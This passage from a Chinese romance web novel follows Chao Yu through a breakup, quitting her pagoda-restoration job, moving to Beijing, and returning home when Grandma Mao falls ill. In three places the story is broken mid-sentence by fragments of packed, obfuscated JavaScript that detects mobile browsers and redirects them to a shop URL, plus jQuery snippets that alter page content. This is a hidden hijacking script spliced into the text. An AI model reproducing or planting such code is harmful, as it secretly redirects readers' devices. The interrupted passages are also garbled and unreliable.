“可能人生就是这样吧。”她咧开嘴:“自己说过的话,都会回过头来打自己的脸。并且,很快。” 一阵扑面的风卷起晁雨的长发,她才发现冬已经这样深了。她轻轻地吐息,在洵州呵不出的白气萦在她唇边。 辜屿叫她的名字:“晁雨。” 那样的语调,让人说不清他是想诀别,还是想挽留。 晁雨回了一下头,辜屿站在门口,因身材削薄,黑衬衫的衣角被风卷起,显得他更为冷清孤独。 晁雨问:“如果再给你一个机会的话,你会早点告诉我你有一个哥哥、而不是瞒着我么?” 辜屿:“不。” 他说:“我早知道留不住你。” 晁雨倏然睁大了眼眶,然而她发现自己并没有落泪,只是冷冽地风钻进去,刮得她眼眶发痛。 她点点头:“好,很好。” 好什么? 她也不知道。 她只是转过身,头也不回地离开了。 - 坐地铁回到许辰懿家,许辰懿正对着打包盒掰一次性筷子。 看到晁雨愣了下:“我以为你不回来了呢,麻辣烫没点你的量。” 晁雨把打包袋塞在门口架子上,站在玄关换鞋。 许辰懿放下筷子走过去:“嗨,没事,咱俩分着吃,权当减肥了。我把你最喜欢的面筋留给你,今天看着煮得可好了。” 她用手背贴了贴晁雨的脸:“冷吧?脸都冻僵了。” 又把晁雨牵回桌边,给晁雨倒了杯热水。 抿了抿唇,才问:“吵架了?因为我的事啊?” 晁雨摇摇头。 抬眸看了许辰懿一眼。许辰懿嘴角的乌青消了许多了,她又抹了遮瑕擦了粉,要不是那晚晁雨在医院盯了许久许久、太清楚那伤口的所在,都不怎么看得出来了。 她跟许辰懿说:“对不起。” 许辰懿:“对不起什么啊?” 晁雨摇摇头,再没说下去了,去厨房拿了碗筷坐回桌前。 对不起什么呢。 她又哪有资格替辜屿对许辰懿说一声“对不起”呢。 晁雨至此终于想明白自己最为难过的点在哪了。 是因为她一个现实、理性、瞻前顾后的人,终于决定奋不顾身一次时。 才发现她想为之奋不顾身的那个人,从来都对她有所保留。 晁雨笑笑,从外卖碗里夹起一块面筋:“你说的啊,留给我。” “给你,都给你。”许辰懿又捞了块烤面筋放她碗里。 晁雨埋头苦吃。 她也不知为何每次心里空落落时,胃里也跟着空得厉害。 她跟许辰懿说:“我没吃饱。” 又去厨房煮方便面。 一阵老坛酸菜味的飘香中,许辰懿走过来:“到底怎么了?” 晁雨摇摇头:“我明天就回洵州去了,你送我。” “你家弟弟抽不开身啊?” 晁雨只“嗯”了一声,盯着锅里翻涌的面条。水蒸汽钻进她眼底,逼出从辜屿家出来时扑面而来的那阵风。 直到第二天许辰懿送晁雨去火车站。 晁雨下车前才对许辰懿说:“我和他分开了。” 许辰懿怔了怔。 “分开”是什么意思? 她看了眼晁雨,晁雨的神色很淡,正因为此,才显得那双浅棕色的眸子很深。 许辰懿明白过来——晁雨所说的“分开”,意思是“分手”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114704|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她搭在方向盘上的手下意识拍了下,抬手去攥晁雨的手腕:“为什么?” 晁雨咧了咧嘴:“怎么,你觉得他很好啊?” 许辰懿摇摇头:“不,我只是觉得你很喜欢他。” 晁雨轻而短促地吸一口气,猛然扭头看向窗外。 窗外依然高悬着辜屿的品牌海报,半黑白的底色,显得那双垂沉的眼更加讳莫如深。郑旻勋的风波过去,他的人气显然更高了。 晁雨本想撇开头,却强逼着自己盯着那张海报看。 明明第一次从北京逃离时,她在火车站盯着这海报,便觉得他的眼神很像北京,华丽、冰冷、没有一丝感情。 为什么后来在相处过程中,就渐渐把这件事忘记了呢? 觉得他会为她改变么?太自大了啊,晁雨。 晁雨下车去拖行李箱,许辰懿下车来攥着她手腕,交警在一旁吹哨,许辰懿竖起另一只手掌:“我马上就走啊警察叔叔,我姐们儿这有了不得的大事。” 有什么大事呢?晁雨想,不过是一个普通人,失去了一个她喜欢的人而已。 这样的悲欢离合,每天都在这座华丽城市的角落上演。人们甚至来不及落泪,便又要去为生活奔忙。 晁雨拍拍许辰懿的肩:“不是什么大事。” 许辰懿盯着她的眼:“不是什么大事吗?” 晁雨抿了抿唇角,又咧嘴笑开来:“会变小的。” 然后越来越小、越来越小。在这倾城的风中,最终灰飞烟灭。 再说下去真赶不上车了,许辰懿不得不放开晁雨。 晁雨登上了南归的火车。 大抵北方的风终归凛冽,一下火车,竟觉得洵州的冬天温暖和煦。 她没有拖着行李箱再赶去办公室的心气了,直接回了家。 到家时,发现葛洁在家准备晚饭。 应该是许辰懿将晁雨的归期告诉了她。 葛洁在厨房里忙忙叨叨,却看也不看晁雨一眼。 晁雨心里有些难受。 葛洁直到做好了饭,才头也不回地叫晁雨:“傻站着干什么?不洗手吃饭啊?” 满满一桌菜堪称丰盛,三鲜汤,拖黄鱼,另配上软糯入胃的烤菜年糕。 晁雨依然觉得异常的饿,胃里有个八面来风的大洞填不满似的。 直到被三鲜汤呛出一阵猛咳,葛洁倒了杯水给她:“多大的人了,有人跟你抢还是怎么着?” 一句真话不知怎的就被晁雨咳了出来:“妈,我分手了。” 葛洁又去给晁雨倒水的手一顿。 她没有说“我讲什么来着,我吃的盐比你吃的饭都多,看人比你准的呀”。 她只是拍拍晁雨的手背:“难过伐?” “难过躲到你自己房里去哭一场,我给你准备冰敷眼睛的毛巾。” 晁雨摇摇头:“这样挺好的。我以后不会再让你难过了。” 吃完饭她上楼回了自己房间。 葛洁犹豫许久是要去摊上给老公送饭、还是留在家陪女儿。最终还是决定去摊上,怕留在家晁雨更不自在。 她上楼去跟晁雨打招呼的时候,见晁雨坐在书桌前,呆呆望着天井里。 她走过去摸摸晁雨的头:“看什么呢?” 顺着晁雨的视线往外看了眼,才发现晁雨是在看天井里那棵桂树。 晁雨回来后除了交代分手,也没说什么旁的话。此时轻声说了句:“妈,桂花到底是都落尽了。” 葛洁心里忽然细细密密的一阵疼。 她想:原来我的女儿,这样、这样的喜欢过一个人。 71. 在一起18 第二天晁雨去上班,九叔从扫雷的电脑上抬眼瞥她:“请这么多天假干嘛去了?谈恋爱去了?” “不是。”晁雨低头整理这些天的案卷:“我朋友有点事。” “年纪轻轻能有什么事?没病没灾的。”九叔的语气里填着轻蔑:“就为了点自己的小情绪,矫情。” 晁雨一下子抬眸。 九叔:“你那么瞪着我干什么?我说错啦?” 晁雨早知道九叔的嘴巴毒。 他讲话尖刻,语气又不好,极容易得罪人。所以就连棋友也不长久,一茬一茬的换。 晁雨平时对他的容忍度颇高,这时却很想尖声顶一句嘴:“你知道我朋友发生了什么事吗?” “你这样的性格,难怪连你最看重的徒弟,也要说你会孤独终老。” 这句话太狠。 晁雨咬着唇,默默咽了回去。 九叔大概察觉到办公室里气氛怪了,咂了下嘴。老头儿一辈子不擅安慰人,除了买娃娃头也没别的招。晁雨的反应让他有些下不来台,他想跟晁雨说话,又不知说些什么。 话到嘴边,生硬地变成了:“你请了那么多天假,得扣钱。” 晁雨仍埋头理着案卷,不想搭理他的样子:“扣吧。” 九叔往自己的这句话上加码:“按你请假这么多天算下来,你这个月没工资,得倒贴我钱。” 晁雨抬起眸来静静看着他。 九叔像终于获得回应似的:“不服气啊?不服气你别干了呗。” 晁雨刚要说什么,放在桌边的手机响了起来。 晁雨看了眼,先接起来:“喂,师姐。” “晁雨,你提交的方案,验算结果出来了。” 不知办公桌是不是太久没用过了,案卷一放,有灰尘扑起来,迷进晁雨的眼里。晁雨抬手揉了揉,那一刻心里已有不好的预感。 果然那端师姐说:“数据有偏差,按这样一套方案实施的话,整个塔身的受力结构是不合规的。” 晁雨脑子里嗡地一声,似什么巨大的雕像坍塌一般。 真奇怪,她觉得太阳穴都在震,嘴里还能正常地回答:“谢谢师姐,麻烦师姐了。” 九叔一直偷瞄着她。看她这般反应,大概已猜到结果。 嘴里哼一声:“我早说了这方案弄不出来,白费那劲干嘛?” “都跟你说了,人呐,越投入,越失望。对于自己根本没把握的事,投入那么多,傻子一样……” 他也许是想安慰晁雨。但他的嘴巴又毒又笨,絮絮叨叨说出来,全是这样的话。 他还没说完,便见晁雨一脸平静地站了起来。 他仰头看着晁雨:“你干嘛?” 晁雨:“你不是叫我干不下去就别干了吗?” “好,我不干了。” 晁雨也不知道为什么偏偏是今天,九叔说的这些话,既像在说劝宁塔,又像在说她和辜屿。 她从帆布包里掏出劝宁塔的钥匙,推到九叔那边的办公桌上,大跨步往办公室外走去。 “晁雨!晁雨!”九叔在她身后喊:“你要是走了就别回头!这位置我可不会给你留着!多的是人想应聘……” 晁雨在门口顿了顿脚步,背对着九叔说:“你放心,我不回头。” “傻子才回头。” - 等葛洁和晁正声收摊回来,晁雨本想跟葛洁说她辞职的事,又怕让葛洁整夜睡不好。 直到葛洁第二天做早饭时,她跟葛洁说:“妈你今天晚点出摊,我有事跟你讲。” 她这时才跟葛洁说:“我辞职了。” 葛洁没骂她。 只问:“接下来呢,接下来什么打算?” “洵州没有合适的工作,我可能还是只有去北京。” “当设计师?” 晁雨摇摇头:“有一份销售的工作,需要很强的设计专业背景,辰辰说我可以去试试。” 葛洁没问她劝宁塔的事。 那一只常年浸着猪油的手,温厚的、柔暖的,贴着老木桌面摩了摩,说了句:“那我们的老宅子,是不是要拆迁盖商品房啦?” 晁雨默默无言。 她本想着如果劝宁塔的方案是由她攻坚出来的,这件事对杜昱德和明恒宇来说失去宣传价值,也许他们就放弃木安街的收购计划了。 但现在,她失败了。 葛洁拍拍她的手背:“走吧,走去北京吧。老家总是留不住年轻人的,这里太老了,也太旧了。” 晁雨跟许辰懿商议一番后,订了一周后北上的火车票。 葛洁什么都没说,倒是晁正声默默叹了几晚的气。晁雨离开的前夜,他不肯去睡,披着件棉服、背手在天井里看着他那些花花草草。 晁雨下楼去找他:“爸,还不睡啊?” 晁正声指指那棵百年的老桂树:“悄悄告诉你,这棵树下真的埋着坛桂花酒。你出生那年埋的,想着等你结婚的时候,就可以挖出来启封了。” 他笑着拍拍晁雨的后脑:“结果我家这傻囡囡,到现在还没喜欢过什么人呢,又要走了。” 晁雨一瞬阖了阖眼。 她和辜屿的事,葛洁压根不同意,也没告诉晁正声,在晁正声这里还是个秘密。她想跟晁正声说:“爸不是的。” “我有过一个很喜欢、很喜欢的人。” 可现在她又还能说什么呢。 她只能俯在晁正声的肩头,半垂着眼不叫晁正声看她微红的眼尾:“爸,睡去吧。” 晁正声捏了捏她的胳膊:“囡囡,外面不好的话,就还是回家来晓得伐?” “家永远在这里等着你。” - 晁雨第二天一早出发时,拖着行李箱,远远看到九叔坐在木安街尾的花坛边收棋盘。 也不知这么一大早的,他刚跟谁下完棋。 他没跟晁雨打招呼,往这边瞟了眼,站起来背着手走了。 晁雨到了北京,在许辰懿的引荐下,入职还算顺利。许辰懿拍着胸脯跟对方保证:“只要我能谈下来的客户,我姐们儿就能谈下来。要是我姐们儿谈不下来,我自费陪她一起去谈,好吧?” 房子也简单,把晁雨以前的房间收拾出来——主要是床上许辰懿的那堆“战袍”,晁雨便可以住下了。 她跟许辰懿打趣:“都升客户经理的人了,租着这么一老破小,还得跟人合租。” “我乐意。”许辰懿一扬眉毛:“咱俩这下不是又跟以前一样了吗?就像你从没回过洵州一样。” 晁雨的睫毛轻翕了下。 怎么可能像从没回过洵州一样呢。 那个隐秘的、不为人知的、热烈失控的夏天,像烙进皮肤纹理里的痕,再不能从她生命里抹去了。 许辰懿:“就一点,你可想清楚了。真不想再做设计了?” 晁雨摇摇头:“不做了。” 许辰懿:“为什么?要不我再想想办法……” 晁雨笑着打断她:“不想做了。” “因为,不敢了。” - 晁雨回到了北京,日子还是跟以前大有不同。 她是个初级销售,公司舍得分到她这里的业务量不多,她比以前在亚轩当设计师时,要闲了不少。 许辰懿又迎来新一轮升职,每天带着叫她“Cici姐”的小助理,忙得风风火火,晁雨连跟她碰面的时候都很少。 晁雨总算知道,晁二柱周末为什么要去打工了。 因为人一旦闲下来,时间真的很难捱,总有回忆追着你跑。 晁雨也去找了份零工,周末在小区附近的咖啡店做手冲咖啡。 “怎么回事啊你?”许辰懿眼都瞪圆了:“那销售岗给你的待遇有这么差吗?我再去帮你谈!” 晁雨笑:“只是有点无聊。” 她把一杯手冲推给许辰懿:“试试看。你以后来买咖啡,我还能给你打折。” 日子便是这样过下去的。 晁雨刚开始会刻意规定自己不要去看手机。比如,要听完这首歌才能看手机。比如,要看完这部电影才能看手机。比如,要吃完这碗面才能看手机。 据说人形成一个新的小习惯,只要七天。形成一个新的大习惯,只要三个月。 等到她过年回洵州时,她已不会时不时去看手机了。 她不承认那段时间自己是在等辜屿的电话或信息。 等到了又怎么样呢?两人已再无挽回的可能了。 随着时间的推移,她渐渐想明白了两人的症结出自哪里。 不仅辜屿从没对她交底,她也并没始终如一地站在辜屿那边。 诚然这里面有出事时情绪的作祟,但当晁二柱那一拳挥向辜屿时,她并没有拉住、给辜屿一个说话的机会。 那套“怪物”的言论到底入了她的耳,潜移默化地影响着她对辜屿的判断。 晁雨再没主动联系过辜屿,一方面因为她对辜屿有怨。 另一方面也因为她对辜屿有愧。 辜屿也从没再联系她。也许就像辜屿说的,他早知道会是这样的结局,所以一开始选择主动搞砸一切。 过年的时候,葛洁把毛秀珍接了过来,做了满桌丰盛菜肴。 饭后一家人烤着炭火,葛洁守着小小的煤球炉做蛋饺。 毛秀珍双手抄在棉袄里,盯着炭火盆里迸出的火星:“唉,记得有段时间,二狗子去上海工作时、还特意绕回洵州一趟呢。” “现在眼看着过年了,他也不回来了。” 老人家烤火烤得昏昏欲睡,这番话说出来纯属无心。 葛洁和晁雨齐齐默了一瞬。 辜屿回不回洵州,其间的变化不过为着一个原因——晁雨。 到第二年春天的时候,晁雨已有半年没见过辜屿了。 一如晁雨所曾料想的那样,他越飞越远、也越飞越高,无论地铁上还是商场里,处处铺天盖地都是他的海报。晁雨每次都是背着帆布包匆匆路过,听一堆女孩叽叽喳喳跟那海报合照,自己掩藏进面目模糊的人群中。 就该是这样的。 他光芒万丈。 她归于平凡。两人的人生轨迹,再无任何交集。 直到气温一点点攀升,脱掉了毛衫、又脱掉了轻薄的外套,终是又一年初夏到了。 晁二柱在律所里提前转了正,工作越来越忙,打电话问晁雨:“姐,今年夏天你还回洵州吗?” 那时晁雨正在店里做咖啡,把手机夹在侧颊和肩膀之间答他:“不回了吧。” 晁二柱颇有些唏嘘:“又一个夏天了,我们所有人,到底都离开了洵州。” 只剩下摇摇欲坠的劝宁塔,铺着青石板的木安老街,和那些在洵州住了一辈子的老人们。 毛秀珍时不时打电话跟晁雨吐槽:“哎哟我现在走在路上,看到染金头发的心头肉都一跳,生怕是来办拆迁的洋鬼子。” 晁雨逗她:“怎么,老太太迫不及待想发财了?” 毛秀珍叹一声:“发财哪有自己住了一辈子的家好呢。” 晁雨就默默不讲话了。 直到天越来越热,晁雨穿上了轻薄的棉麻衬衫。她已经很久、很久再没想起过辜屿了。 时间继续往前,到了夏天快要过去的时候,许辰懿拜托晁雨帮她一个忙,去商场帮她买一瓶香水。 她说:“姐们儿最近忙得四脚朝天,实在抽不出空。” 晁雨:“怎么不在网上买?” 许辰懿摇手指:“傻了吧,网购渠道的货和线下不一样。” 这个周日,晁雨在咖啡馆是晚班,下午便去了CBD的商场。 夏末的尾巴晃啊晃,压着初秋的头不肯轻易退场。晁雨穿着今年的第一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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当时的组长想出来一招:“这样,我们都别连名带姓的叫对方了。就叫名字,显得亲切一点、熟一点。” 众人:…… 可也没有别的办法了。 于是晁雨变成了“小雨”。 这位工程系的男生,便被叫作“绎诚”。 就因为当时一直“绎诚”、“绎诚”的叫,关于他姓什么这件事,晁雨已经忘了…… 当年穿着白T在篮球场上挥汗的男生,也变成了穿衬衫、戴腕表、看起来一派精英派头的成熟男人了。 晁雨记得他当年格外瘦,这些年倒是胖了些,脸略微圆了些,显得温厚起来。 “这么巧啊。”晁雨笑笑跟他说:“这杯咖啡我请。” 他问晁雨:“有空叙叙旧?” 晁雨摇头,一指店里:“只我一个人,又要做咖啡又要收银,实在忙不过来。” 直到准备打烊,晁雨才发现他还在等在靠窗的桌边。 晁雨做了两杯咖啡因含量较少的焦糖玛奇朵,走过去:“嗨。” 推给他一杯,坐到他对面。 男人扬唇:“忙完了?” 晁雨点头:“准备打烊了。” 其实做咖啡是个体力活,站了一整晚,晁雨在桌下悄悄放松着自己的脚腕。 许辰懿给她发微信:[怎么还没回来?] 晁雨回复:[碰到大学同学,聊两句。] Cici:[什么同学?] Cici:[男的女的?] Cici:[从实招来!] 冷冷冰雨:[男的。] Cici:[别是那谁吧!] 许辰懿飞速翻到晁雨微博里一张大学时的照片,把其中一个男生圈出来:[是他吗?] 冷冷冰雨:[……你怎么知道?] Cici:[哼哼,姐们儿多火眼金睛啊。] Cici:[当时看这张照片,我就觉得他看你的眼神不对劲。] Cici:[对你有意思呗!这你都发现不了,是不是缺根弦啊?] 冷冷冰雨:[……你想多了。] 晁雨收起手机,跟对面的男人说:“不好意思。” 男人笑着摇头。 店里音响还放着,都是些舒缓悠扬的吟唱。两人聊着些大学时的琐事,晁雨听他笑道:“年纪越长,就越觉得时间过得真快。” “今年还没怎么过呢,就觉得又一个夏天要过去了。” 晁雨正端起咖啡杯要喝一口,手顿了顿。她还穿着那件薄薄的毛衫,带针眼的马海毛扫着她纤细的腕子。 她望向咖啡店外,对面的大楼外也高悬着一张辜屿的海报。她每天都低头匆匆路过,今天终于抬眸,对着海报上辜屿的眉眼,细细描摹了遍。 是有些陌生了吧。 男人温声叫她:“小雨?” 她回过神来。 这时店里的歌单切换,变作另一首歌。 一个声音醇淡的女歌手,抱着吉他浅吟低唱: “最好的时光, 哪儿还有啊。” 晁雨到底端起咖啡杯来喝了一口。窗外一棵梧桐的枯叶飘落,不知是不是今年秋天的第一片落叶,意味着又一个夏天,真的要过去了。 男人在晁雨对面说:“还是大学的时候好。我们那样年轻,又愚蠢又天真,真是最好的时光了,对吧?” 咖啡甜甜的味道腻在上牙膛,晁雨静柔地笑笑,心想: 我也有过最好的时光。不过,不是在又愚蠢又天真的年纪。 她怀着理智、清醒、被打磨出的世俗,竟然也敢奋不顾身,想跟一个不可能的人永远。 只不过,那样最好的时光不过一瞬。 过去了,就再不会有了。 72. 后来01 深夜响起的电话,总是惊得人神经一跳,决计不可能是什么好事。 晁雨被从浅眠中惊醒,迷迷糊糊接起来:“喂?” 葛洁的声音传来:“小雨,你马上回洵州一趟。” 晁雨从床上跳下来穿衣服。老破小的出租屋不隔音,许辰懿也被突然响起的电话铃惊醒,从隔壁揉着眼过来:“怎么了?” “我得回趟洵州。” “出什么事了?” “毛奶奶病了。” “什么?”这下许辰懿也彻底清醒了:“什么病?” “我妈说情况很不好,我得马上回洵州。” “你去你去,你老板我熟,假我帮你请。”许辰懿顿了顿:“我正跟一大项目,实在不好请假,你先回去看看情况。” “好。” “万一……我就赶紧请假过来。”许辰懿没有把“万一”后面的话说全。 晁雨打开手机看机票,发现距离有时真叫人无力。她就算现在买机票,折腾到洵州,也跟明早的高铁时间差不多。 只得坐在客厅里眼睁睁等天亮,许辰懿陪她一起,送她去火车站。 晁雨没带什么行李,只带了个随身的包,直接赶去医院。 那时已是午后,初秋的南方湿润温暖,阳光如温水般沐浴着人。 医院走廊里却黯淡一片,并没被阳光照透。葛洁和晁正声守在那里,看上去疲倦异常,像熬了整夜。 晁雨跑过去。 经过这一路,她反而镇定下来,先问了毛秀珍的病情,然后叫葛洁和晁正声:“你们先回去睡一觉,一直守在这里,人都熬垮了。” 晁洁不愿意,后来晁正声也劝:“先回去吧,不然你倒下了,更没人照顾毛奶奶。” 终于劝走了爸妈。毛秀珍难得睡着了,晁雨怕进病房吵醒她,便也守在走廊里。 许辰懿的电话追过来:“怎么样了?” 晁雨:“是癌。” 谁能想到,看起来壮得能一拳打死三头牛的老太太、竟早在数十年前就查出患有甲状腺癌呢。 病情的查出,是在她去北京接回辜屿的那一年。并且早年捡垃圾的生涯,让她的身体状况并不好,并不适宜手术,只能保守治疗。 许辰懿问晁雨:“那现在呢?” 晁雨:“只能手术。” “挺不过来怎么办?” “挺不过来,也要挺。”晁雨说完这句,觉得有些耳熟。 后来想起这是晁二柱小时候身体不好,葛洁常常会说的一句话。 晚饭时间,葛洁给晁雨打电话,要来换她。 “别了。”晁雨阻止:“你们今晚好好休息,我年轻适合守夜。你们明早来换班吧。” 毛秀珍昏沉沉睡了一下午加一晚上,终于在夜里醒了过来,口齿不甚清楚地叫她:“雨丫头。” 晁雨握着她的手:“老太太,看把你能的。明明知道自己的病,居然瞒了我们这么多年。” 毛秀珍疲弱地咧开嘴笑:“不能告诉你们。二狗子那么聪明,告诉你们,他也会看出来的。” 晁雨:“你知道自己的病,所以把他送回了北京,不让他生活在你身边。” 毛秀珍吐了一口气,才继续道:“不能……” “不能让他再看一次背影了。” 晁雨鼻腔里忽而猛烈地酸了下。 她给毛秀珍掖好被子:“别说话了,等病好了再说。听你跟林妹妹一样说话,我可真不习惯。” 毛秀珍叫她:“你给我把窗户打开。” “别贪凉,这都快入秋了。” “我是想看着劝宁塔。”毛秀珍笑笑:“人病了就是矫情,对吧?所有的医院都一个样,白墙白灯白床单,叫人慎得慌。我只有看着劝宁塔,才知道我是在自己的家乡。” 晁雨拗不过,去替她打开窗。 毛秀珍躺着不知看了多久的劝宁塔,那神情,像依恋母亲、寻获着安全感的小女孩。 夜越来越深,她终于又昏沉沉睡了过去。 病房里有窄窄陪护床,晁雨却睡不着,怕自己翻来覆去地吵醒毛秀珍,索性站起来走出病房。 走廊已经熄灯了,只有[逃生通道]的标识牌泛着莹莹绿光。走廊尽头,辜屿远远地坐在那里。 晁雨往那方向看了一眼,在病房门口坐下了。 直到夜彻底静默下来,浓稠地裹住人。 晁雨遥遥地,又往走廊尽头看了眼。 不知辜屿什么时候赶到的。晁雨总觉得他好像瘦了些,也可能是他坐成一团模糊的影子,所带给人的错觉。 他以往总是坐得肩背笔挺,这时却勾着腰,双手搭在岔开的双膝上,显得整个人很沉。 晁雨站起来,走到自动贩卖机去买了罐速溶咖啡。 走到他面前,他没抬头。 晁雨晃晃速溶咖啡问他:“要么?” 他摇头:“不用。” 还好现下里灯光暗着,晁雨看不清辜屿的脸。她也刻意不去看辜屿的脸,脑子里很莫名的,冒出她在咖啡馆和绎诚聊天时、窗外高悬的那张海报。 海报上的人,是离她很远很远、需得她折着后颈仰望的人。 现在这个人坐在她对面,阴影裹住他身形,生出了更重的距离感。可是很罕见的,他低低地笑了声,声音像从肺部深处发出来的。 他对晁雨说:“我不是告诉过你了么?” “留不住的,还是留不住。” 晁雨一顿。 他站起来,往病房的方向走,擦过晁雨身边。那阵熟悉的香又来了,像月光下山涧里结了霜的清溪。晁雨上次闻到这味道,是商场里男香品牌办活动,他在里三层外三层的人群包裹里,她是人群外面目模糊的小角色。她靠不近他。 此刻闻到这味道,他在一阵阴翳情绪的包裹里,一切都被排斥在外。她还是靠不近他。 晁雨是想说点什么的。 比如“别担心。” 比如“一切都会好起来的。” 比如“这里的医生最了解毛奶奶情况,你选择没把她转去北京是对的。” 可一切言语出口前,已沦为苍白无力。她不是医生,更不是上帝,她无论承诺连她自己都没把握的事。 辜屿擦过她身边不过一瞬,眼看着他们即将擦肩而过。 晁雨下意识伸手拖住了辜屿的手。 辜屿怔了怔。 晁雨掌纹里细细的汗冒了出来。她只是觉得,如果她什么都不说、什么都不做的话,辜屿就坠入那一片黑暗里去了。 辜屿轻轻想把自己的手抽离。 晁雨却镇定了下来,把辜屿的手握得更紧了些,声音在黑暗里压得很低:“别管那么多。” “不想放手的,就别放手。” 辜屿静静站着。 直到晁雨放开他的手:“去吧。” 他走向病房,坐到蓝色塑料等候椅上。晁雨则在他刚刚坐过的、走廊另端的等候椅坐下,远远望一眼他的侧影。 像病房门口沉默的守护神。 晁雨摊开手,低头看一眼自己指腹,又收拢手指轻搓了搓。 辜屿的手,可真凉啊。 - 葛洁第二天一早,和晁正声一同带着早饭、来换晁雨的班。 远远看走廊另端一眼:“小雨,你坐那么远干嘛?” “过来一起吃早饭了。” 晁雨站起来:“好。” 四人一起吃了顿沉默的早饭,换葛洁和晁正声在这里陪毛秀珍,晁雨和辜屿回家睡觉。 两人一前一后走出医院,并没再说一句话。 毛秀珍的手术被安排在一周后。 手术前夜,晁雨在病房里陪着毛秀珍。 毛秀珍看着晁雨笑。 晁雨:“干嘛?” 毛秀珍:“你想不想继承我八位数的Q号?” 晁雨:…… 她不轻不重地拍了毛秀珍一下:“呸呸呸,人老了怎么跟小孩一样,嘴上也没个把门的。” 毛秀珍气息弱,却嘿嘿地笑:“我一早知道二狗子喜欢你。” 晁雨不说话。 毛秀珍:“他每年夏天来洵州,第一句话都是跟你说的。” 她寻摸着捏住晁雨的手:“他那样的性格,我不求你永远喜欢他。” “就是,万一……你别让他只有一个人,每年过节,你给他发条微信。群发的那种也行,只有几个字也行。” 晁雨回握着她的手:“别乱想了。” “你不答应,我睡不着。” “好,我答应。” 毛秀珍的手术难度颇高,被安排在次日第一台。葛洁和晁正声早早过来了,众人一起等着毛秀珍手术的结果,还有远程在线的许辰懿。 直到手术间的小窗口被打开。 晁正声扶住妻子的手:“我腿软。” 是晁雨走过去,听医生说:“手术成功了。” 晁雨下意识回头去看了眼走廊。其实自重逢的那夜以后,她和辜屿再没说过一句话了。 阴暗了一周的幽长走廊,至此好似终于被清晨的阳光照透。辜屿坐在那束光里,冲晁雨点了点头。 - 毛秀珍又在医院里住了一周。 出院那天,晁雨帮她收拾东西,辜屿去办手续,葛洁和晁正声也来了。 晁雨同她开玩笑:“老太太,好大的排场。” “那可不!鬼门关里走过一遭的人,什么阵仗不值得?”毛秀珍哼哼唧唧:“要不咱买点豆腐吧?从此清清白白、一点儿疾病阴影都没有。” “……老太太,卖豆腐那也是出狱时的讲究。” 一群人从出租车下来,又闹闹哄哄往毛家小院走去。晁雨和辜屿混在人群里,站得很远,彼此都没说话。 许辰懿终于对毛奶奶的病情放了心,贼兮兮地在线八卦:[你跟辜屿弟弟这次见面怎么样?] 冷冷冰雨:[能怎么样?] Cici:[分开这么久再见面,你们说话了么?] 冷冷冰雨:[他刚回洵州那晚,简单说了句。] Cici:[然后呢?] 冷冷冰雨:[没了。] Cici:[没了?!?!] 又过了会儿,许辰懿不甚唏嘘发来句:[看来在你心里,那个夏天的事是彻底过去了。] 初秋阳光在手机屏幕上凝出枚光斑,晁雨盯着许辰懿发来的那句话看了许久。 是吗?彻底过去了吗? 如果彻底过去了,她现在是否能够在一众前来道贺的邻居中,更自然地走到辜屿身边,看着他眼睛跟他聊几句闲话。 比如“今天天气真好”。 比如“今天中午的菜色都是我妈安排的,你要不要去看看”。 可她说不出任何闲谈。 她只能站得离辜屿越远越好。 按洵州的规矩,老人家重病出院,邻里街坊都是要来送红包道贺的,中午留下来吃筵席。所以各位老人家们现在也没走,坐在院子里喝茶嗑瓜子,用方言聊着天。 大开的院门外,探进一颗光头来。 晁雨一眼看到那是九叔。九叔不进来,就在院门口鬼鬼祟祟地看。 葛洁和晁正声忙着添茶待客,没任何人注意到他。晁雨只得自己走过去。 他扫了晁雨一眼:“回来了啊。” 晁雨盯着地面门槛的缝:“嗯。” 那句歌词怎么唱的来着,“严重似情侣讲分手”。 尽管九叔从没承认过,晁雨心里却认定,两人曾是并肩的“战友”。只不过终是走到了分岔路口,说不清是谁先当了逃兵。 洵州可真是个厉害地方。一个辜屿让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137125|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她尴尬还不够,还来个九叔。 九叔把一只薄薄红包递给晁雨:“帮我交给毛秀珍。” “你不进去吃筵席啊?”晁雨依旧盯着地面的缝:“我妈请了乡厨。” “不进去了。免得他们总开我和毛秀珍的玩笑。” “哦。”晁雨点点头。 九叔背着手往外走,末了回头:“对了,你晚上有空的话,来趟劝宁塔。我和你一起检查遍塔里,没什么问题的话,就把钥匙还回来了。” 晁雨应了声:“好。” 晁雨帮着葛洁张罗了两顿饭。入了夜,来道贺的邻居们都走了,她送毛秀珍回屋躺下,便按和九叔的约定去了劝宁塔。 九叔背着手站在塔外,仰着头也不知看什么。 见晁雨过去,两人之间也不像过去那样互怼了,也没什么话。沉默着走进塔里,里里外外检查了遍。 走出塔外,等晁雨锁了门,九叔对她摊开手:“钥匙给我吧。” 晁雨睫毛尖翕动了下,低头从帆布包里掏出钥匙。她把那单薄的一把,从钥匙圈上卸下来,其他钥匙放回包里,那把捏在手里。 好薄,边缘割着她掌心。 她问九叔:“那边的进度怎么样了?” 